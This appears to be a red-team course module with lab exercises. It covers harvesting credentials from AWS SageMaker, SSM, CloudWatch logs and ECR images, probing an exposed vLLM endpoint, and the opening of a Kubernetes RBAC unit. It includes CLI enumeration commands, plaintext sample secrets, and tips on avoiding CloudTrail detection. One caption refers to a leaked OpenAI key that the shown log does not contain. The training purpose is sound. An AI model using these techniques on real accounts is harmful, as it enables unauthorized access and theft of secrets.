The MLOpsRole policy contains an AssumeSageMakerRole statement that provides a direct path to the SageMakerExecutionRole. Even without that statement, two other policy statements in the same role could be combined to achieve the same privilege escalation. Which two statements are they, and how would you use them together?

Secrets and Credential Leakage

Please check the attached video named secrets_and_credential_01.mp4

With the SageMakerExecutionRole's account-wide permissions, we can collect more information about the environment and start looking for data inside the resources we have access to. For now, we'll focus on hunting for Unsecured Credentials, another common practice of mishandling secrets across cloud services.

Let's start with S3. We can list all buckets in the account to find out what's available.

kali@kali:~$ <cu>aws s3 ls</cu>
2026-02-26 16:26:14 megacorpone-pea-site-20260226184143835700000001
2026-02-26 16:26:14 megacorpone-rainyday-sagemaker-32953eae
2026-02-26 16:26:14 megacorpone-sthubbins-sagemaker-32953eae

Listing 15 - Listing All S3 Buckets in the Account

The s3:* wildcard in the AmazonSageMakerFullAccess managed policy gives us visibility across every bucket in the account. We can see the St. Hubbins ML bucket we expected, but two other buckets stand out. The megacorpone-pea-site-* bucket hosts the static marketing site for the Patient Experience Portal. More interesting is megacorpone-rainyday-sagemaker-*, which appears to belong to a completely different project, a fintech lending platform we didn't know existed.

Discovering resources outside our original scope is a critical moment in any engagement. The Rainy Day Financial bucket wasn't listed in the Rules of Engagement (RoE) for the St. Hubbins assessment. In a real engagement, we would stop here, document the cross-project visibility as a misconfiguration finding, and contact the engagement lead to request scope expansion before touching any Rainy Day resources. Accessing another client's data without authorization could violate legal agreements and damage the trust relationship with the client.

For this assessment, our engagement covers the full Megacorp One AI division account. After reporting the cross-project visibility to the engagement lead, we received authorization to include Rainy Day Financial resources in our testing scope. We will reference this expanded authorization throughout the remainder of the assessment whenever we interact with Rainy Day assets.

Both ML buckets likely contain sensitive intellectual property worth exfiltrating: training data, model artifacts, experiment metadata, and Jupyter notebooks. Beyond the data itself, these resources can also harbor embedded secrets that open new attack paths.

Let's examine the St. Hubbins bucket first.

kali@kali:~$ <cu>aws s3 ls s3://megacorpone-sthubbins-sagemaker-32953eae/ --recursive</cu>
2026-02-26 16:41:48        357 .mlflow/experiments.json
2026-02-26 16:41:48        536 .mlflow/model-registry.json
2026-02-26 16:41:48        395 README.md
2026-02-26 16:41:47        447 config/endpoint-info.json
2026-02-26 16:41:48        713 config/report-template.html
2026-02-26 16:41:48        440 data/metadata.json
2026-02-26 16:41:48       8753 data/patient_feedback.csv
2026-02-26 16:41:48        311 experiments/sthubbins-pea-v1-20240110-xyz789/metrics.json
2026-02-26 16:41:48        246 experiments/sthubbins-pea-v1-20240110-xyz789/params.yaml
2026-02-26 16:41:48        484 experiments/sthubbins-pea-v1-20240115-abc123/metrics.json
2026-02-26 16:41:48        533 experiments/sthubbins-pea-v1-20240115-abc123/params.yaml
2026-02-26 16:41:48       4052 models/sthubbins-pea-v1.tar.gz
2026-02-26 16:41:48       2058 notebooks/feature-engineering.ipynb
2026-02-26 16:41:48        787 notebooks/model-evaluation.ipynb

Listing 16 - Recursive S3 Listing of the St. Hubbins ML Bucket

This is a standard ML project layout: models/ for artifacts, data/ for training datasets, experiments/ for tracking, notebooks/ for Jupyter notebooks, and .mlflow/ for metadata. While we don't find hardcoded API keys in S3, the patient_feedback.csv file itself is highly sensitive as it contains patient names, emails, and department information.

S3 versioning can preserve deleted files even after cleanup. If a team removed a .env or config file from the bucket, older versions might still be retrievable. We can check with s3api list-object-versions and pull a specific revision using get-object --version-id. In this case, the bucket has no versioning enabled, but it's always worth checking early in an engagement.

The --recursive flag generates ListObjectsV2 events in CloudTrail, which defenders may alert on. Targeted GetObject calls on known paths mimic normal application behavior and draw less attention.

AWS Secrets Manager is the natural first target when hunting for credentials in an account. Let's check whether the SageMaker execution role can list any stored secrets.

kali@kali:~$ <cu>aws secretsmanager list-secrets --query 'SecretList[*].[Name,Description,Tags]' --output json</cu>
[
    [
        "megacorpone/devops/jenkins-deploy-c2b90b41",
        "Jenkins CI/CD deploy token - managed by IT Ops",
        [
            {
                "Key": "Team",
                "Value": "devops"
            },
            {
                "Key": "ManagedBy",
                "Value": "it-ops"
            },
            {
                "Key": "2aea47d2-ddae-4583-a5a9-aeb3f16545cb",
                "Value": "2aea47d2-ddae-4583-a5a9-aeb3f16545cb"
            }
        ]
    ]
]

Listing 17 - Listing Secrets Manager Secrets

We found a secret, but the AmazonSageMakerFullAccess managed policy restricts secret access. GetSecretValue only works on secrets matching the AmazonSageMaker-* ARN pattern or tagged with SageMaker: true. We can read the policy in the AWS documentation. (Analyze the Secrets Manager permissions in the AmazonSageMakerFullAccess policy)|Explain the Secrets Manager permissions in the AmazonSageMakerFullAccess AWS managed policy. Explain the implications of the resource scoping and conditions on our ability to access secrets. Discuss how this limits our attack surface and what we can do with the secret we found.

{
    "Sid" : "AllowSecretManagerActions",
    "Effect" : "Allow",
    "Action" : [
        "secretsmanager:DescribeSecret",
        "secretsmanager:GetSecretValue",
        "secretsmanager:CreateSecret"
    ],
    "Resource" : [
        "arn:aws:secretsmanager:*:*:secret:AmazonSageMaker-*"
    ]
},
{
    "Sid" : "AllowReadOnlySecretManagerActions",
    "Effect" : "Allow",
    "Action" : [
        "secretsmanager:DescribeSecret",
        "secretsmanager:GetSecretValue"
    ],
    "Resource" : "*",
    "Condition" : {
        "StringEquals" : {
            "secretsmanager:ResourceTag/SageMaker" : "true"
        }
    }
}

# Extracted from the AmazonSageMakerFullAccess managed policy
{
    "Sid" : "AllowSecretManagerActions",
    "Effect" : "Allow",
    "Action" : [
        "secretsmanager:DescribeSecret",
        "secretsmanager:GetSecretValue",
        "secretsmanager:CreateSecret"
    ],
    "Resource" : [
        "arn:aws:secretsmanager:*:*:secret:AmazonSageMaker-*"
    ]
},
{
    "Sid" : "AllowReadOnlySecretManagerActions",
    "Effect" : "Allow",
    "Action" : [
        "secretsmanager:DescribeSecret",
        "secretsmanager:GetSecretValue"
    ],
    "Resource" : "*",
    "Condition" : {
        "StringEquals" : {
            "secretsmanager:ResourceTag/SageMaker" : "true"
        }
    }
}

Listing 18 - Secrets Manager Statements in the Managed Policy

The Jenkins token doesn't match either condition, so we'll document it for later if we obtain other credentials. This highlights why policy knowledge is valuable. Because it lets us target our access attempts rather than triggering access-denied errors that might alert defenders.

AWS Systems Manager (SSM) Parameter Store is another source of potentially-sensitive information. Although this service is not meant for secrets, some teams tend to misuse it. Even if we don't find secrets, we might find useful data for reconnaissance.

kali@kali:~$ <cu>aws ssm describe-parameters --query 'Parameters[*].[Name,Type,Description]' --output json</cu>
[
    [
        "/megacorpone/sthubbins/prod/database-url",
        "String",
        "St. Hubbins patient feature store DB connection"
    ],
    [
        "/megacorpone/rainyday/prod/plaid-api-key",
        "String",
        "API key for Rainy Day Financial Plaid integration"
    ],
    [
        "/megacorpone/rainyday/prod/credit-bureau-url",
        "String",
        "Rainy Day Risk credit bureau database connection string"
    ],
    [
        "/megacorpone/rainyday/prod/model-endpoint-url",
        "String",
        "Rainy Day Risk assessment wrapper endpoint URL"
    ]
]

Listing 19 - Enumerating All SSM Parameters in the Account

We find four parameters across two project namespaces. The Rainy Day Financial parameters confirm the second project we spotted during S3 enumeration. Every parameter is stored as String rather than SecureString, which means the values are stored in plaintext without KMS encryption. Let's retrieve the St. Hubbins parameter first.

kali@kali:~$ <cu>aws ssm get-parameters-by-path --path "/megacorpone/sthubbins/prod/" --recursive --with-decryption</cu>
{
    "Parameters": [
        {
            "Name": "/megacorpone/sthubbins/prod/database-url",
            "Type": "String",
            "Value": "<cr>postgresql://mluser:Pr0dP@ssw0rd2024!@features-db.megacorpone.ai:5432/sthubbins_features</cr>",
            "Version": 1,
            "LastModifiedDate": "2026-02-26T16:26:14+00:00",
            "ARN": "arn:aws:ssm:us-east-1:533267328750:parameter/megacorpone/sthubbins/prod/database-url",
            "DataType": "text"
        }
    ]
}

Listing 20 - Database Connection String in SSM Parameter Store

GetParametersByPath --recursive stands out in CloudTrail because normal pipeline reads target individual parameters by name. A stealthier approach: use DescribeParameters to map the namespace first, then make individual GetParameter calls that blend with normal application behavior.

SSM parameters also keep version history. If the team rotated a password, the old value might still be accessible.

kali@kali:~$ <cu>aws ssm get-parameter-history --name "/megacorpone/sthubbins/prod/database-url" --with-decryption --query 'Parameters[*].{Version:Version,Value:Value,Modified:LastModifiedDate}' --output json</cu>
[
    {
        "Version": 1,
        "Value": "<cr>postgresql://mluser:InitialP@ss2023@features-db.megacorpone.ai:5432/sthubbins_features</cr>",
        "Modified": "2026-02-26T16:26:14+00:00"
    },
    {
        "Version": 2,
        "Value": "<cr>postgresql://mluser:Pr0dP@ssw0rd2024!@features-db.megacorpone.ai:5432/sthubbins_features</cr>",
        "Modified": "2026-02-26T18:45:22+00:00"
    }
]

Listing 21 - SSM Parameter Version History Reveals a Rotated Password

Version 1 contains an earlier password (InitialP@ss2023). Even though it was rotated, it could still work against other services if the same password was reused elsewhere.

CloudWatch Logs is our next target. Let's list the log groups in the account first:

kali@kali:~$ <cu>aws logs describe-log-groups --query 'logGroups[*].logGroupName' --output json</cu>
[
    "/aws/lambda/aws-controltower-NotificationForwarder",
    "/aws/lambda/pea-portal-handler",
    "/aws/sagemaker/Endpoints/sthubbins-pea-endpoint",
    "/aws/sagemaker/training/rainyday-risk",
    "/aws/sagemaker/training/sthubbins-pea"
]

Listing 22 - Enumerating CloudWatch Log Groups

Two groups appear: one for the Lambda function we exploited earlier, and one for SageMaker training jobs. Training pipelines log environment variables and connection strings at DEBUG level during development, and those entries persist long after the job completes. Let's start with the training logs.

kali@kali:~$ <cu>aws logs describe-log-streams --log-group-name "/aws/sagemaker/training/sthubbins-pea" --query 'logStreams[*].logStreamName' --output json</cu>
[
    "train-sthubbins-pea-v1-20240110",
    "train-sthubbins-pea-v1-20240115"
]

Listing 23 - Training Log Streams in the St. Hubbins Log Group

We find two training runs. Let's pull events from the more recent stream.

kali@kali:~$ <cu>aws logs get-log-events --log-group-name "/aws/sagemaker/training/sthubbins-pea" --log-stream-name "train-sthubbins-pea-v1-20240115" --query 'events[*].message'</cu>
[
    "[INFO] ====== St. Hubbins PEA Training Pipeline Started ======",
    "[INFO] Job ID: train-sthubbins-pea-v1-20240115",
    "[INFO] Initiated by P. Sharma (ml-platform@megacorpone.ai)",
    "[DEBUG] Loading configuration from environment",
    "[DEBUG] Connecting to feature store at https://features-db.megacorpone.ai:8443",
    "[DEBUG] Using API key: fs-api-key-FAKE123456789abcdef",
    "[INFO] Feature store connection established",
    "[DEBUG] Authenticating with model registry at https://registry.megacorpone.ai",
    "[DEBUG] Bearer token: mr-tok-FAKE987654321zyxwvu",
    "[INFO] Loaded 50000 training samples from patient_feedback table",
    "[INFO] Training configuration: epochs=10, batch_size=32, lr=0.001",
    "[INFO] Epoch 1/10 complete - loss: 0.6234, accuracy: 0.7123",
    "[INFO] Epoch 2/10 complete - loss: 0.4567, accuracy: 0.8012",
    "[INFO] Epoch 3/10 complete - loss: 0.3892, accuracy: 0.8567",
    "[INFO] Training complete - final accuracy: 0.9234",
    "[INFO] Uploading model artifact to s3://megacorpone-sthubbins-sagemaker/models/",
    "[DEBUG] S3 upload using role: arn:aws:iam::533267328750:role/SageMakerExecutionRole",
    "[INFO] Model artifact uploaded successfully",
    "[INFO] ====== Training Pipeline Completed ======"
]

Listing 24 - OpenAI API Key Leaked in Training Log Stream

The highlighted line leaks a full OpenAI API key in plaintext. This is a common misconfiguration: verbose DEBUG logging from development gets left enabled in production, and CloudWatch retains the logs indefinitely.

Next, let's review the older stream:

kali@kali:~$ <cu>aws logs get-log-events --log-group-name "/aws/sagemaker/training/sthubbins-pea" --log-stream-name "train-sthubbins-pea-v1-20240110" --query 'events[*].message'</cu>
[
    "[INFO] ====== St. Hubbins PEA Training Pipeline Started ======",
    "[INFO] Job ID: train-sthubbins-pea-v1-20240110",
    "[DEBUG] Loading configuration from environment",
    "[DEBUG] Database URL: postgresql://mluser:Pr0dP@ssw0rd2024!@features-db.megacorpone.ai:5432/sthubbins_features",
    "[ERROR] Connection timeout to feature store at https://features-db.megacorpone.ai:8443",
    "[DEBUG] Retrying with fallback credentials...",
    "[DEBUG] AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE",
    "[DEBUG] AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "[ERROR] Training failed - insufficient training data (expected 10000, got 847)",
    "[INFO] ====== Training Pipeline Failed ======"
]

Listing 25 - AWS Credentials Leaked in a Failed Training Run

The error handler dumped AWS credentials as part of its retry logic. Failed runs are especially risky: developers often ignore failed jobs and never review their logs, so the credentials remain exposed indefinitely.

logs:FilterLogEvents with --filter-pattern "password OR key OR secret OR token" is faster and more surgical than pulling entire streams. CloudWatch Logs data events are rarely enabled in CloudTrail, but the filtered approach also returns less noise, making it easier to spot credentials in large log groups.

Finally, let's check the SageMaker Model Registry, which stores versioned model packages with their approval status and container configurations. Container environment variables often embed secrets needed during training or deployment, this is a common oversight in CI/CD pipelines.

kali@kali:~$ <cu>aws sagemaker list-model-package-groups --query 'ModelPackageGroupSummaryList[*].ModelPackageGroupName' --output json</cu>
[
    "sthubbins-pea-models",
    "rainyday-risk-models"
]

kali@kali:~$ <cu>aws sagemaker list-model-packages --model-package-group-name sthubbins-pea-models --sort-by CreationTime --sort-order Descending --query 'ModelPackageSummaryList[*].[ModelPackageArn,ModelApprovalStatus]' --output json</cu>
[
    [
        "arn:aws:sagemaker:us-east-1:533267328750:model-package/sthubbins-pea-models/2",
        "Approved"
    ],
    [
        "arn:aws:sagemaker:us-east-1:533267328750:model-package/sthubbins-pea-models/1",
        "Approved"
    ]
]

Listing 26 - Discovering Model Package Groups and Versions

There are two versioned packages. Let's describe the latest one and examine its container configuration.

kali@kali:~$ <cu>aws sagemaker describe-model-package --model-package-name arn:aws:sagemaker:us-east-1:533267328750:model-package/sthubbins-pea-models/2 --query '{Containers: InferenceSpecification.Containers[0], Metadata: CustomerMetadataProperties}' --output json</cu>
{
    "Containers": {
        "Image": "683313688378.dkr.ecr.us-east-1.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3",
        "ModelDataUrl": "s3://megacorpone-sthubbins-sagemaker-32953eae/models/sthubbins-pea-v1.tar.gz",
        "Environment": {
            "SAGEMAKER_PROGRAM": "inference.py",
            "SAGEMAKER_SUBMIT_DIRECTORY": "/opt/ml/model/code",
            "MODEL_REGISTRY_ENDPOINT": "https://registry.megacorpone.ai",
            <cr>"MODEL_REGISTRY_TOKEN": "mr-tok-FAKE987654321zyxwvu"</cr>
        }
    },
    "Metadata": {
        "training_job_name": "train-sthubbins-pea-v1-20240115",
        "run_id": "abc123",
        "training_data_uri": "s3://megacorpone-sthubbins-sagemaker-32953eae/data/patient_feedback.csv",
        "pipeline_role": "arn:aws:iam::533267328750:role/SageMakerExecutionRole",
        "ecr_training_image": "533267328750.dkr.ecr.us-east-1.amazonaws.com/megacorpone-sthubbins-training:latest",
        "accuracy": "0.9234",
        "initiated_by": "P. Sharma",
        "client": "St. Hubbins Hospital"
    }
}

Listing 27 - Model Package Metadata with Token and Cross-References

The container Environment holds a MODEL_REGISTRY_TOKEN in plaintext. The CustomerMetadataProperties are equally revealing: they cross-reference the CloudWatch training job name, the S3 training data path, the SageMaker execution role ARN, and the ECR training image URI. A single describe-model-package call maps out the entire pipeline infrastructure.

The model registry metadata revealed an ECR training image URI (533267328750.dkr.ecr.us-east-1.amazonaws.com/megacorpone-sthubbins-training:latest). Let's follow that breadcrumb.

kali@kali:~$ <cu>aws ecr get-login-password --region us-east-1 | docker login --username AWS --password-stdin 533267328750.dkr.ecr.us-east-1.amazonaws.com</cu>

WARNING! Your credentials are stored unencrypted in '/home/kali/.docker/config.json'.
Configure a credential helper to remove this warning. See
https://docs.docker.com/go/credential-store/

Login Succeeded

kali@kali:~$ <cu>docker pull 533267328750.dkr.ecr.us-east-1.amazonaws.com/megacorpone-sthubbins-training:latest</cu>
latest: Pulling from megacorpone-sthubbins-training
...<SNIP>...
Status: Downloaded newer image

kali@kali:~$ <cu>docker inspect --format '{{json .Config.Env}}' 533267328750.dkr.ecr.us-east-1.amazonaws.com/megacorpone-sthubbins-training:latest | jq -r '.[]'</cu>
<cr>DATABASE_URL=postgresql://mluser:Pr0dP@ssw0rd2024!@features-db.megacorpone.ai:5432/sthubbins_features</cr>
<cr>FEATURE_STORE_API_KEY=fs-api-key-FAKE123456789abcdef</cr>
MODEL_REGISTRY_URL=https://registry.megacorpone.ai
<cr>AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE</cr>
<cr>AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY</cr>
AWS_DEFAULT_REGION=us-east-1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Listing 28 - Hardcoded Credentials in the ECR Training Image

The image environment variables contain the database connection string, a feature store API key, and hardcoded AWS credentials embedded at build time.

With credentials scattered across five services, let's take a moment to catalog what we've found and assess operational value:

AWS credentials from the CloudWatch failed training run are likely expired session credentials from the old SageMaker job
The database URL requires network connectivity to features-db.megacorpone.ai on port 5432; if reachable, it opens lateral movement to VPC-hosted PostgreSQL
The OpenAI key has immediate value for cost abuse, data exfiltration via the API, or as report evidence
The model registry token may grant access to the internal registry at registry.megacorpone.ai
The ECR image's feature store key and AWS credentials are worth validating with sts:GetCallerIdentity

We have five services and five different leak vectors. S3 holds sensitive training data. CloudWatch logs contain API keys and AWS credentials left behind by DEBUG logging. SSM Parameter Store exposes database connection strings stored as plaintext with recoverable version history. The Model Registry embeds a token in container metadata. ECR images bake credentials directly into environment variables. The common thread is that ML workflows distribute artifacts across services without centralized secret management, and each service becomes another place for credentials to hide. Next, we'll examine the endpoints and data stores that this role can reach directly.

The ECR training image contains a config file with secrets that docker inspect does not reveal. Extract the file and provide the value of the huggingface_token.
We already discovered SSM parameters for the St. Hubbins project. The account also contains Rainy Day Financial parameters under a different path. What is the Plaid API key value?
The Rainy Day Financial S3 bucket contains some files. Assuming reading the content of the files is within our expanded testing scope, look for hardcoded credentials for financial services. What is the Stripe secret key?

Exposed Endpoints and Data Stores

Please check the attached video named exposed_endpoints_data_01.mp4

So far we've extracted credentials from internal services, but they require authentication to exploit. Now we shift tactics: we're looking for infrastructure exposed directly to the internet, which we can attack without credentials. This move from internal misconfiguration to public exposure is often the highest-impact finding, because it makes the vulnerability accessible to any attacker.

When IAM policies aren't scoped to specific resource ARNs, overly-broad permissions can reveal infrastructure in other projects or environments. This is a form of Cloud Infrastructure Discovery, a common misconfiguration in shared cloud accounts. Our goal is to enumerate compute resources across the account, identify internet-facing services, and determine whether they require authentication. The inline policy includes EC2 permissions scoped to Resource: "*", so we can enumerate every instance in the account, regardless of project boundaries.

kali@kali:~$ <cu>aws ec2 describe-instances --filters "Name=instance-state-name,Values=running" --query 'Reservations[*].Instances[*].{ID:InstanceId,Type:InstanceType,PublicIP:PublicIpAddress,SG:SecurityGroups[0].GroupName,Project:Tags[?Key==`Project`]|[0].Value,Client:Tags[?Key==`Client`]|[0].Value,Name:Tags[?Key==`Name`]|[0].Value}' --output json</cu>
[
  [
    {
      "ID": "i-0a1b2c3d4e5f67890",
      "Type": "g4dn.xlarge",
      <cr>"PublicIP": "54.210.123.45"</cr>,
      "SG": "rainyday-risk-vllm-sg",
      "Project": "rainyday-risk",
      "Client": "Rainy Day Financial",
      "Name": "rainyday-risk-vllm"
    }
  ]
]

Listing 29 - Discovering a Running EC2 Instance Tagged to a Different Client Project

We discover a g4dn.xlarge GPU instance tagged Project=rainyday-risk and Client=Rainy Day Financial, crossing project boundaries again. Because the SageMakerExecutionRole's ec2:Describe* permissions aren't scoped by tag or ARN, it can enumerate every EC2 instance in the account, regardless of project.

We need to distinguish between passive discovery and active exploitation here. Read-only enumeration such as ec2:DescribeInstances documents a real misconfiguration: the lack of tag-based or ARN-based scoping means any compromised role in the account can inventory infrastructure across all projects. Documenting that finding is appropriate regardless of scope.

However, actively probing or sending requests to another client's endpoint is a fundamentally different action. Without the expanded scope authorization we established during S3 bucket discovery, we would document the exposed instance and stop here. Because our engagement lead confirmed that Rainy Day Financial resources fall within the expanded testing scope, we will proceed with active testing of this endpoint.

Let's inspect the security group attached to this instance.

The ec2:DescribeInstances call appears in CloudTrail as a read-only data event. Tag-based filtering (as we used with Name=instance-state-name) reduces the response size and narrows our footprint compared to an unfiltered call that dumps every instance in the account. When stealth matters, scoped queries generate less noise in log analysis.

kali@kali:~$ <cu>aws ec2 describe-security-groups --filters "Name=group-name,Values=rainyday-risk-vllm-sg" --query 'SecurityGroups[0].IpPermissions[*].{Port:FromPort,Protocol:IpProtocol,CIDR:IpRanges[0].CidrIp,Description:IpRanges[0].Description}' --output json</cu>
[
  {
    "Port": 22,
    "Protocol": "tcp",
    "CIDR": "0.0.0.0/0",
    "Description": "SSH"
  },
  {
    "Port": 8000,
    "Protocol": "tcp",
    "CIDR": "0.0.0.0/0",
    "Description": "vLLM API"
  },
  {
    "Port": 8080,
    "Protocol": "tcp",
    "CIDR": "10.1.0.0/16",
    "Description": "Wrapper API"
  }
]

Listing 30 - Security Group Ingress Rules Open to the Internet

There are three rules and three different exposure levels. SSH on port 22 is open to 0.0.0.0/0, which makes the instance a brute-force target if we find valid credentials or a weak key pair. Port 8080 (the Wrapper API) is restricted to the VPC CIDR 10.1.0.0/16, so we can't reach it from our external position. The vLLM API on port 8000 is exposed to the entire internet with no restriction. Model server APIs rarely enforce authentication by default, making this the most immediately-exploitable finding.

With the network exposure confirmed, our next step is to probe the vLLM API on port 8000 and determine whether it requires authentication. Sending live requests to another client's inference endpoint is the most sensitive action in this chain, so we'll confirm once more that our expanded scope authorization covers active testing of Rainy Day infrastructure.

kali@kali:~$ <cu>curl -s http://54.210.123.45:8000/v1/models | jq</cu>
{
  "object": "list",
  "data": [
    {
      "id": "Qwen/Qwen2.5-7B-Instruct-AWQ",
      "object": "model",
      "created": 1776376177,
      "owned_by": "vllm",
      "root": "Qwen/Qwen2.5-7B-Instruct-AWQ",
      "parent": null,
      "max_model_len": 8192,
      "permission": [
        {
          "id": "modelperm-836bca3f31dc04a1",
          "object": "model_permission",
          "created": 1776376177,
          "allow_create_engine": false,
          "allow_sampling": true,
          "allow_logprobs": true,
          "allow_search_indices": false,
          "allow_view": true,
          "allow_fine_tuning": false,
          "organization": "*",
          "group": null,
          "is_blocking": false
        }
      ]
    }
  ]
}

Listing 31 - Raw vLLM Server Responds Without Authentication

The server returns model metadata without requiring any credentials. We can see it's running a quantized Qwen instruction model, which tells us this endpoint handles inference workloads for the Rainy Day Financial project.

kali@kali:~$ <cu>curl -s http://54.210.123.45:8000/version | jq '.'</cu>
{
  "version": "0.12.0"
}

Listing 32 - vLLM Version Disclosure Enables Targeted CVE Research

Version 0.12.0 is specific enough to search for known CVEs in this build. Combined with the model metadata, we now know the deployment's purpose (financial risk scoring), hardware (g4dn.xlarge GPU), and software (vLLM 0.12.0). We have enough to plan exploitation.

Any internet user can query this model without credentials. This enables attack paths such as resource abuse, model extraction, and the ability to reverse-engineer the scoring criteria this financial institution uses for lending decisions.

Our assessment surface extends further. DynamoDB tables, public S3 objects, and cross-project SSM parameters all warrant examination. For now, let's consolidate the attack chain we've traced through this Learning Unit.

From a single SSRF vulnerability in a patient feedback portal, we pivoted through an IAM role chain, harvested secrets from five different AWS services, and discovered an unauthenticated model endpoint belonging to a separate client project. The root cause is overly-permissive IAM policies scoped to Resource: "*" in a shared account. Each misconfiguration chains with others — what we showed separately in practice stacks together. The fix is resource-scoped policies with project-boundary conditions (tag-based access control or ARN patterns). Shared ML accounts amplify risk: if one role chain succeeds, every project in the account becomes accessible from the same credentials.

Check for bucket objects that are publicly-accessible by anyone on the internet. What is the name of the bucket? Exclude the random suffix from the name. Example: if the bucket is named some-bucket-name-32953eae, the answer would be some-bucket-name.
What model is the vLLM server running on the exposed endpoint?

Container and Orchestration Exploits

Kubernetes is an open-source container orchestration platform that has become the dominant platform for running AI workloads at scale. The economic pressure to maximize GPU utilization has made Kubernetes the unified foundation for data processing, model training, serving, and orchestration. (Read more about the 2025 CNCF Annual Survey)

In this Learning Unit, we'll conduct a red team engagement in which a spearphishing attack against a data scientist leads to access to a Kubernetes-based ML deployment. The method won't differ too much with any other non-AI Kubernetes engagement, but we'll focus on the specific implications for ML workloads and the unique opportunities for escalation that arise in this context.

This Learning Unit covers the following Learning Objectives:

Exploit Kubernetes RBAC Misconfigurations
Escalate Privileges Through Pod Creation and Credential Exfiltration
Abuse Sidecar and Init Containers for ML-Specific Impact and Persistence

Overview of Kubernetes and ML Deployments

At its core, Kubernetes is a system for running and managing containerized applications across a cluster of machines. The cluster consists of a control plane that serves the API server and makes scheduling and state decisions, and one or more worker nodes that actually run the workloads. Every workload runs inside a pod, which is the smallest deployable unit in Kubernetes. Pods are grouped into namespaces that act as logical boundaries for resources, access policies, and network rules. A set of API objects including Deployments, Services, ConfigMaps, and Secrets tie everything together and describe the desired state of the cluster. The control plane continuously reconciles the actual state with the desired state, which is what makes Kubernetes so effective at running workloads at scale.

$Figure 4: Kubernetes Architecture with Control Plane, Worker Nodes, and Namespaces$

Kubernetes can run almost anywhere. Cloud providers offer managed distributions such as Amazon Elastic Kubernetes Service (EKS), Azure Kubernetes Service (AKS), and Google Kubernetes Engine (GKE), while organizations that need tighter control deploy it on-premises using tools like kubeadm or Rancher. Regardless of where it runs, the architecture remains the same.

What makes Kubernetes particularly relevant for AI is how it handles GPUs. Worker nodes equipped with GPUs advertise them as schedulable resources, just like CPU and memory. When a pod requests a GPU through its resource spec, the scheduler finds a node that has one available and places the pod there. A device plugin on the node, such as the NVIDIA device plugin, registers the physical GPUs with the kubelet, allocates specific devices to scheduled pods, and exposes the GPU drivers and device files into the container at runtime.

This means GPU allocation is governed by the same scheduling, quotas, and access controls as any other cluster resource. Teams competing for limited GPU capacity depend on the scheduler to arbitrate fairly, and the pod that gets a GPU also gets whatever network access, volume mounts, and service account permissions its spec defines.

In a typical ML deployment on Kubernetes, we'll find several recognizable workload types. Jupyter notebook servers let data scientists experiment interactively and often run as long-lived pods with broad filesystem and network access. Model training jobs run as batch workloads, sometimes orchestrated by pipeline tools like Argo Workflows or Kubeflow Pipelines, consuming GPU resources and writing model artifacts to shared storage. Once training completes, inference services load the finished model and expose prediction endpoints to the rest of the organization. Supporting components such as experiment trackers like MLflow, artifact stores backed by object storage, and monitoring stacks round out the deployment. Each of these components typically lives in its own namespace and runs under its own identity, but they all share the same cluster and often need to communicate across namespace boundaries.

Figure 5: Typical ML Workload Layout Across Kubernetes Namespaces

Identity and access control in Kubernetes centers on three primitives. Service accounts provide an identity to pods and controllers. Every pod runs as a service account, and by default, Kubernetes mounts a token for that account into the pod's filesystem. Role-Based Access Control (RBAC) defines what each identity can do through Roles and ClusterRoles that grant permissions on specific API resources, then binds those roles to service accounts or users. Namespaces provide the scope for these controls. A Role scoped to a single namespace limits access to resources within that namespace, while a ClusterRole applies cluster-wide. When configured correctly, this layered model enforces least privilege. In practice, however, ML platforms often drift toward overpermission because pipeline controllers need to create pods, mount secrets, and manage resources across multiple namespaces.

$Figure 6: Kubernetes Identity and RBAC Model$

As red teamers, this drift is exactly what we're looking for. Our goal is to land in a pod with a service account token and determine what that token lets us do.

We can start by querying the Kubernetes API to enumerate our permissions, discover accessible secrets, and map the namespace layout. From there, we'll look for the classic escalation paths: Can we read secrets in other namespaces? Can we create or modify pods? Can we find a more privileged service account token mounted somewhere we can reach? A service account that can create pods is effectively a cluster admin, because we can launch a pod with any other service account's identity or mount the host filesystem. Even read-only access to secrets can yield credentials for external systems like cloud storage, container registries, or experiment tracking servers. Overpermissioned Role bindings and auto-mounted tokens are the building blocks of privilege escalation.

Exploiting Kubernetes RBAC Misconfigurations

Please check the attached video named exploiting_kubernetes_rbac_01.mp4

We're in the middle of a red team assessment against Ridgeline Autonomous, an autonomous vehicle startup that contracted Megacorp One AI to build their ML inference platform on Kubernetes. The platform classifies safety incident reports from the test fleet into critical, elevated, and routine categories. In earlier phases of the engagement, we spearphished a platform engineer on the Ridgeline team and established SSH access to their workstation. On that workstation, we recovered a kubeconfig file and confirmed the machine can reach the Kubernetes API server. We'll pick up from here, operating from the compromised workstation to enumerate the cluster and look for misconfigurations we can exploit.

After exploring the workstation, we've already gathered useful context from the bash history, personal notes, and the kubeconfig in the home directory. A kubeconfig file contains the API server address, authentication credentials, and default namespace. The standard location is ~/.kube/config, though it can change. The kubectl config view command prints the active kubeconfig without generating audit logs, making it a stealthy way to inspect the configuration. (More about kubeconfig files)|Explain what a kubeconfig file is, its default location, how the lookup order works and a reference to the official documentation for more details.

(Analyze the Kubeconfig)|Analyze this kubeconfig file. Identify the cluster endpoint, the authenticated user, the default namespace, and what this tells us about the scope of access from this workstation.

apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTi...FURS0tLS0tCg==
    server: https://192.168.50.151:6443
  name: kubernetes
contexts:
- context:
    cluster: kubernetes
    namespace: app
    user: aisha-kone
  name: aisha-kone@kubernetes
current-context: aisha-kone@kubernetes
kind: Config
preferences: {}
users:
- name: aisha-kone
  user:
    client-certificate-data: LS0tLS1CRUdJTi...FURS0tLS0tCg==
    client-key-data: LS0tLS1CRUdJTi...S0tLS0tCg==

aisha@workstation:~$ <cu>kubectl config view --raw</cu>
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FU...
    server: https://cp-01:6443
  name: kubernetes
contexts:
- context:
    cluster: kubernetes
    namespace: app
    user: aisha-kone
  name: aisha-kone@kubernetes
current-context: aisha-kone@kubernetes
kind: Config
preferences: {}
users:
- name: aisha-kone
  user:
